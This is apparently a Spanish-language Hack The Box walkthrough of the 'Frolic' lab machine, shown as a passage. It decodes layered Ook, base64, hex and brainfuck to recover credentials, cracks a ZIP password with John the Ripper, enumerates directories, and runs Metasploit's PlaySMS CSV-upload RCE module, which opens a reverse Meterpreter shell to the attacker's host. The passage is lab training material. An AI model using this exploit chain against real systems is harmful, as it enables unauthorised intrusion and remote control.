</span></span><span style="display:flex;"><span>..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
</span></span><span style="display:flex;"><span>!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
</span></span><span style="display:flex;"><span>!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
</span></span><span style="display:flex;"><span>.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
</span></span><span style="display:flex;"><span>!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
</span></span><span style="display:flex;"><span>?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
</span></span><span style="display:flex;"><span>!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
</span></span><span style="display:flex;"><span>!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
</span></span><span style="display:flex;"><span>!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
</span></span><span style="display:flex;"><span>..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
</span></span><span style="display:flex;"><span>!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
</span></span><span style="display:flex;"><span>!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
</span></span><span style="display:flex;"><span>..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
</span></span><span style="display:flex;"><span>..!.! !!!!! !.?.
</span></span></code></pre></div><p>WTF&hellip; braile? brainfuck? No, no. Ook!</p>
<p>Se trata de otro tipo de lenguaje esotérico, llamado <code>Ook</code>, el cual puede ser identificado por los caracteres <code>.!?</code></p>
<p>Afortunadamente existe un paquete en Debian para convertir este tipo de lenguajes, <code>esco</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ http http://10.10.10.111:9999/admin/success.html | sed &#39;s/\./Ook\. /g&#39; | sed &#39;s/\!/Ook\! /g&#39; | sed &#39;s/\?/Ook\? /g&#39; &gt; success-resp.OoK
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ ~/git/esco/src/esco -t ook success-resp.OoK
</span></span><span style="display:flex;"><span>== Begin of execution ==
</span></span><span style="display:flex;"><span>Nothing here check /asdiSIAJJ0QWE9JAS
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>== End of execution ==
</span></span></code></pre></div><p>Ok, continuamos nuestro camino hacia la carpeta revelada:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ http http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Fri, 04 Jan 2019 22:11:43 GMT
</span></span><span style="display:flex;"><span>Server: nginx/1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>Transfer-Encoding: chunked
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
</span></span><span style="display:flex;"><span>BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
</span></span><span style="display:flex;"><span>K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
</span></span><span style="display:flex;"><span>EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
</span></span><span style="display:flex;"><span>lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
</span></span><span style="display:flex;"><span>AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
</span></span><span style="display:flex;"><span>AAAAAAEAAQBPAAAAAwEAAAAA
</span></span></code></pre></div><p>A este si lo conozco, es base64. Realicemos el decoding:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ http http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | strings
</span></span><span style="display:flex;"><span>index.phpUT
</span></span><span style="display:flex;"><span>&amp;q2o
</span></span><span style="display:flex;"><span>index.phpUT
</span></span></code></pre></div><p>Ah? Sera esto algun archivo?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ http http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | file -
</span></span><span style="display:flex;"><span>/dev/stdin: Zip archive data, at least v2.0 to extract
</span></span></code></pre></div><p>Ok, se trata de un ZIP, pasemos la salida a archivo con <code>xbytemx@laptop:~/htb/frolic$ http http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d &gt; asdiSIAJJ0QWE9JAS.zip</code> y después al tratarlo de decomprimir nos pedirá una contraseña, la cual no tenemos pero podemos conseguir con john the ripper:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ ~/git/JohnTheRipper/run/zip2john asdiSIAJJ0QWE9JAS.zip
</span></span><span style="display:flex;"><span>ver 2.0 efh 5455 efh 7875 asdiSIAJJ0QWE9JAS.zip-&gt;index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23
</span></span><span style="display:flex;"><span>asdiSIAJJ0QWE9JAS.zip:$pkzip2$1*2*2*0*b0*269*145bfe23*0*43*8*b0*145b*89c3*5e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d49ce339*$/pkzip2$:::::asdiSIAJJ0QWE9JAS.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ ~/git/JohnTheRipper/run/zip2john asdiSIAJJ0QWE9JAS.zip &gt; asdiSIAJJ0QWE9JAS.hash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ ~/git/JohnTheRipper/run/john ~/htb/frolic/asdiSIAJJ0QWE9JAS.hash --show
</span></span><span style="display:flex;"><span>asdiSIAJJ0QWE9JAS.zip:password:::::/home/xbytemx/htb/frolic/asdiSIAJJ0QWE9JAS.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>1 password hash cracked, 0 left
</span></span></code></pre></div><p>OMG la contraseña es password</p>
<p>Descomprimamos y veamos que hemos conseguido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ 7z -ppassword x asdiSIAJJ0QWE9JAS.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz (40651),ASM,AES-NI)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 360 bytes (1 KiB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extracting archive: asdiSIAJJ0QWE9JAS.zip
</span></span><span style="display:flex;"><span>--
</span></span><span style="display:flex;"><span>Path = asdiSIAJJ0QWE9JAS.zip
</span></span><span style="display:flex;"><span>Type = zip
</span></span><span style="display:flex;"><span>Physical Size = 360
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Enter password (will not be echoed):
</span></span><span style="display:flex;"><span>Everything is Ok
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Size:       617
</span></span><span style="display:flex;"><span>Compressed: 360
</span></span></code></pre></div><h1 id="indexphp">index.php</h1>
<p>Tenemos un archivo llamado index.php (da, era el resultado de success.html):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ cat index.php
</span></span><span style="display:flex;"><span>4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
</span></span></code></pre></div><p>Eso parece hexadecimal, porque tenemos algunos <code>\x0d\x0a</code> que normalmente indica una nueva linea, por lo que convirtamos estos a ascii:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ cat index.php | xxd -ps -r
</span></span><span style="display:flex;"><span>KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
</span></span><span style="display:flex;"><span>KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
</span></span><span style="display:flex;"><span>K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
</span></span><span style="display:flex;"><span>LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
</span></span></code></pre></div><p>Por los caracteres finales de <code>==</code> puede ser base64, ya que el encoding de b64 usa un panding con caracteres <code>=</code>. Probemos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ cat index.php | xxd -ps -r | base64 -d
</span></span><span style="display:flex;"><span>+++++ +++++ [-&gt;++ +++++ +++&lt;] &gt;++++ +.--- --.++ +++++ .&lt;+base64: entrada inválida
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ man base64
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ cat index.php | xxd -ps -r | base64 -di
</span></span><span style="display:flex;"><span>+++++ +++++ [-&gt;++ +++++ +++&lt;] &gt;++++ +.--- --.++ +++++ .&lt;+++ [-&gt;++ +&lt;]&gt;+
</span></span><span style="display:flex;"><span>++.&lt;+ ++[-&gt; ---&lt;] &gt;---- --.-- ----- .&lt;+++ +[-&gt;+ +++&lt;] &gt;+++. &lt;+++[ -&gt;---
</span></span><span style="display:flex;"><span>&lt;]&gt;-- .&lt;+++ [-&gt;++ +&lt;]&gt;+ .---. &lt;+++[ -&gt;--- &lt;]&gt;-- ----. &lt;++++ [-&gt;++ ++&lt;]&gt;
</span></span><span style="display:flex;"><span>++..&lt;
</span></span></code></pre></div><p>Esta salida no es más que brainfuck, otro lenguaje esotéricos hecho por diversión. Lo podemos reconocer porque esta separado por espacios cada 5 caracteres y sus caracteres principales son <code>[.+&lt;&gt;]</code>. Convertimos y ejecutamos este lenguaje por su respectivo interprete:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ cat index.php | xxd -ps -r | base64 -di &gt; index.bf
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ beef index.bf
</span></span><span style="display:flex;"><span>idkwhatispass
</span></span></code></pre></div><p>Parece que tenemos otras credenciales y hemos llegado a un punto muerto en este path.</p>
<h1 id="dirb">dirb</h1>
<p>Como <code>gobuster</code> no es la herramienta mas eficiente cuanto se trata de recursividad de carpetas, decidí lanzar <code>dirb</code> como una segunda opción:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ dirb http://10.10.10.111:9999
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>DIRB v2.22
</span></span><span style="display:flex;"><span>By The Dark Raver
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>START_TIME: Fri Jan  4 14:15:11 2019
</span></span><span style="display:flex;"><span>URL_BASE: http://10.10.10.111:9999/
</span></span><span style="display:flex;"><span>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GENERATED WORDS: 4612
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Scanning URL: http://10.10.10.111:9999/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/admin/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/backup/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/dev/
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/test/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/admin/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/admin/css/
</span></span><span style="display:flex;"><span>+ http://10.10.10.111:9999/admin/index.html (CODE:200|SIZE:634)
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/admin/js/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/backup/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.111:9999/backup/index.php (CODE:200|SIZE:28)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/dev/ ----
</span></span><span style="display:flex;"><span>==&gt; DIRECTORY: http://10.10.10.111:9999/dev/backup/
</span></span><span style="display:flex;"><span>+ http://10.10.10.111:9999/dev/test (CODE:200|SIZE:5)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/test/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.111:9999/test/index.php (CODE:502|SIZE:584)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/admin/css/ ----
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/admin/js/ ----
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---- Entering directory: http://10.10.10.111:9999/dev/backup/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.111:9999/dev/backup/index.php (CODE:200|SIZE:11)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>END_TIME: Fri Jan  4 16:11:57 2019
</span></span><span style="display:flex;"><span>DOWNLOADED: 36896 - FOUND: 5
</span></span></code></pre></div><p>El ultimo resultado llamo mucho mi atención, veamos de que se trata:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ http http://10.10.10.111:9999/dev/backup/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Fri, 04 Jan 2019 20:14:14 GMT
</span></span><span style="display:flex;"><span>Server: nginx/1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>Transfer-Encoding: chunked
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/playsms
</span></span></code></pre></div><p>ok, gracias por la información sobre otro directorio que no saldría sino pasar un diccionario realmente GRANDE.</p>
<h1 id="playsms">playsms</h1>
<p>Veamos que tenemos en <code>/playsms</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http http://10.10.10.111:9999/playsms/
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Fri, 04 Jan 2019 20:17:33 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Location: index.php?app=main&amp;inc=core_auth&amp;route=login
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: nginx/1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=f4lnh91b2q1s2totkjqf1bqr30; path=/
</span></span><span style="display:flex;"><span>Transfer-Encoding: chunked
</span></span><span style="display:flex;"><span>X-Frame-Options: SAMEORIGIN
</span></span></code></pre></div><p>Interesante, parece que nos hemos topado con algún tipo de aplicación. Investigamos exploits para esta webapp:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ ./searchsploit playsms
</span></span><span style="display:flex;"><span>[i] Found (#1): /home/xbytemx/git/exploit-database/files_exploits.csv
</span></span><span style="display:flex;"><span>[i] To remove this message, please edit &#34;/home/xbytemx/git/exploit-database/.searchsploit_rc&#34; for &#34;files_exploits.csv&#34; (package_array:
</span></span><span style="display:flex;"><span>exploitdb)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[i] Found (#1): /home/xbytemx/git/exploit-database/files_shellcodes.csv
</span></span><span style="display:flex;"><span>[i] To remove this message, please edit &#34;/home/xbytemx/git/exploit-database/.searchsploit_rc&#34; for &#34;files_shellcodes.csv&#34; (package_array
</span></span><span style="display:flex;"><span>: exploitdb)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------- ------------------------------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                  |  Path
</span></span><span style="display:flex;"><span>                                                                                | (/home/xbytemx/git/exploit-database/)
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------- ------------------------------------------------------
</span></span><span style="display:flex;"><span>PlaySMS - &#39;import.php&#39; (Authenticated) CSV File Upload Code Execution (Metasplo | exploits/php/remote/44598.rb
</span></span><span style="display:flex;"><span>PlaySMS 1.4 - &#39;/sendfromfile.php&#39; Remote Code Execution / Unrestricted File Upl | exploits/php/webapps/42003.txt
</span></span><span style="display:flex;"><span>PlaySMS 1.4 - &#39;import.php&#39; Remote Code Execution                                | exploits/php/webapps/42044.txt
</span></span><span style="display:flex;"><span>PlaySMS 1.4 - &#39;sendfromfile.php?Filename&#39; (Authenticated) &#39;Code Execution (Meta | exploits/php/remote/44599.rb
</span></span><span style="display:flex;"><span>PlaySMS 1.4 - Remote Code Execution                                             | exploits/php/webapps/42038.txt
</span></span><span style="display:flex;"><span>PlaySms 0.7 - SQL Injection                                                     | exploits/linux/remote/404.pl
</span></span><span style="display:flex;"><span>PlaySms 0.8 - &#39;index.php&#39; Cross-Site Scripting                                  | exploits/php/webapps/26871.txt
</span></span><span style="display:flex;"><span>PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                           | exploits/php/webapps/7687.txt
</span></span><span style="display:flex;"><span>PlaySms 0.9.5.2 - Remote File Inclusion                                         | exploits/php/webapps/17792.txt
</span></span><span style="display:flex;"><span>PlaySms 0.9.9.2 - Cross-Site Request Forgery                                    | exploits/php/webapps/30177.txt
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------- ------------------------------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Parece que hay muchas opciones pero de momento desconocemos la versión que tenemos&hellip;</p>
<p>Aprovechemos que <code>metasploit-framework</code> tiene un exploit para esta versión que genera un RCE:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ msfconsole
</span></span><span style="display:flex;"><span>Found a database at /home/xbytemx/.msf4/db, checking to see if it is started
</span></span><span style="display:flex;"><span>Starting database at /home/xbytemx/.msf4/db...success
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  Metasploit Park, System Security Interface
</span></span><span style="display:flex;"><span>  Version 4.0.5, Alpha E
</span></span><span style="display:flex;"><span>  Ready...
</span></span><span style="display:flex;"><span>  &gt; access security
</span></span><span style="display:flex;"><span>  access: PERMISSION DENIED.
</span></span><span style="display:flex;"><span>  &gt; access security grid
</span></span><span style="display:flex;"><span>  access: PERMISSION DENIED.
</span></span><span style="display:flex;"><span>  &gt; access main security grid
</span></span><span style="display:flex;"><span>  access: PERMISSION DENIED....and...
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>  YOU DIDN&#39;T SAY THE MAGIC WORD!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>       =[ metasploit v4.17.34-dev-                        ]
</span></span><span style="display:flex;"><span>+ -- --=[ 1845 exploits - 1045 auxiliary - 320 post       ]
</span></span><span style="display:flex;"><span>+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
</span></span><span style="display:flex;"><span>+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf &gt; search playsms
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Matching Modules
</span></span><span style="display:flex;"><span>================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name                                       Disclosure Date  Rank       Check  Description
</span></span><span style="display:flex;"><span>   ----                                       ---------------  ----       -----  -----------
</span></span><span style="display:flex;"><span>   exploit/multi/http/playsms_filename_exec   2017-05-21       excellent  Yes    PlaySMS sendfromfile.php Authenticated &#34;Filename&#34; Fiel
</span></span><span style="display:flex;"><span>d Code Execution
</span></span><span style="display:flex;"><span>   exploit/multi/http/playsms_uploadcsv_exec  2017-05-21       excellent  Yes    PlaySMS import.php Authenticated CSV File Upload Code
</span></span><span style="display:flex;"><span>Execution
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf &gt; use exploit/multi/http/playsms_uploadcsv_exec
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; show options
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Module options (exploit/multi/http/playsms_uploadcsv_exec):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name       Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----       ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   PASSWORD   admin            yes       Password to authenticate with
</span></span><span style="display:flex;"><span>   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
</span></span><span style="display:flex;"><span>   RHOST                       yes       The target address
</span></span><span style="display:flex;"><span>   RPORT      80               yes       The target port (TCP)
</span></span><span style="display:flex;"><span>   SSL        false            no        Negotiate SSL/TLS for outgoing connections
</span></span><span style="display:flex;"><span>   TARGETURI  /                yes       Base playsms directory path
</span></span><span style="display:flex;"><span>   USERNAME   admin            yes       Username to authenticate with
</span></span><span style="display:flex;"><span>   VHOST                       no        HTTP server virtual host
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Payload options (php/meterpreter/reverse_tcp):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name   Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----   ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   LHOST                   yes       The listen address (an interface may be specified)
</span></span><span style="display:flex;"><span>   LPORT  4444             yes       The listen port
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Exploit target:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Id  Name
</span></span><span style="display:flex;"><span>   --  ----
</span></span><span style="display:flex;"><span>   0   PlaySMS 1.4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; set PASSWORD idkwhatispass
</span></span><span style="display:flex;"><span>PASSWORD =&gt; idkwhatispass
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; set RHOST 10.10.10.111
</span></span><span style="display:flex;"><span>RHOST =&gt; 10.10.10.111
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; set RPORT 9999
</span></span><span style="display:flex;"><span>RPORT =&gt; 9999
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; set TARGETURI /playsms/
</span></span><span style="display:flex;"><span>TARGETURI =&gt; /playsms/
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; set LHOST tun0
</span></span><span style="display:flex;"><span>LHOST =&gt; 10.10.15.126
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; set LPORT 3001
</span></span><span style="display:flex;"><span>LPORT =&gt; 3001
</span></span><span style="display:flex;"><span>msf exploit(multi/http/playsms_uploadcsv_exec) &gt; exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] Started reverse TCP handler on 10.10.15.126:3001
</span></span><span style="display:flex;"><span>[+] Authentication successful: admin:idkwhatispass
</span></span><span style="display:flex;"><span>[*] Sending stage (38247 bytes) to 10.10.10.111
</span></span><span style="display:flex;"><span>[*] Meterpreter session 1 opened (10.10.15.126:3001 -&gt; 10.10.10.111:44864) at 2019-01-04 14:02:38 -0600
</span></span><span style="display:flex;"><span>
